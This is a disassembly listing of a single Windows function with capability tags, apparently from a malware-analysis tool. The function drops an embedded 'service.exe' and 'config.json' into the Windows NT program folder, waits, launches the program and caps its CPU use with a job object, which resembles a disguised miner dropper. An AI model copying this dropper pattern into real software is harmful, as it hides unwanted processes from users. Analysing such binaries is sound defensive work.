Function at 0x140001210
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x110
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, str.Service
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.service.exe
mov ecx, 0x65
call fcn.140001070
lea rdx, [0x140003438]
mov ecx, 0x66
call fcn.140001070
movsd xmm6, qword [0x1400034d8]
movabs rsi, 0x311cdad160000
movabs rbp, 0x112e0be826d694b3
movabs r15, 0x7fffffffc46535ff
movabs r14, 0x7fffffffffffffff
lea rcx, str.C:Program_FilesWindows_NT_service.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400012d0
test al, 0x10
jne 0x1400012d0
lea rcx, str.C:Program_FilesWindows_NTconfig.json
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400012d0
test al, 0x10
je 0x1400013da
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400012ee
imul rax, rax, 0x64
jmp 0x14000130c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x3b9aca00]
cmp rax, r15
jl 0x140001320
mov rdi, r14
nop dword [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000133e
imul rbx, rax, 0x64
jmp 0x14000135f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x1400012a0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
lea r8, [rcx + rsi]
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r9b
test r9b, r9b
jne 0x140001395
lea r8, [rcx + rax]
add rax, rcx
lea rdx, [rcx + rsi]
test r9b, r9b
lea rcx, [rsp + 0x68]
cmove rdx, rax
mov rax, rbp
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x68], rdx
sub r8d, eax
mov dword [rsp + 0x70], r8d
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140001320
xorps xmm0, xmm0
mov dword [rsp + 0x80], 0x68
xor edx, edx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:Program_FilesWindows_NT_service.exe
movups xmmword [rsp + 0xb8], xmm0
lea rax, [rsp + 0x80]
mov dword [rsp + 0xbc], 1
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdx
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], edx
movups xmmword [rsp + 0x88], xmm0
mov word [rsp + 0xc0], dx
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
test eax, eax
jne 0x140001491
lea r9d, [rcx + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_start_service.exe.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
jmp 0x140001570
mov rdi, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov rbx, rax
test rax, rax
jne 0x1400014c2
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_create_job_object.
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000152c
mov r9d, 8
mov dword [rsp + 0x68], 5
lea r8, [rsp + 0x68]
mov dword [rsp + 0x6c], 0x1f40
mov rcx, rbx
lea edx, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
test eax, eax
jne 0x1400014f7
lea rdx, str.Failed_to_set_CPU_limit.
jmp 0x14000150e
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
test eax, eax
jne 0x140001548
lea rdx, str.Failed_to_assign_process_to_job_object.
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_limit_CPU_usage.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.1400015c0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rdi
ret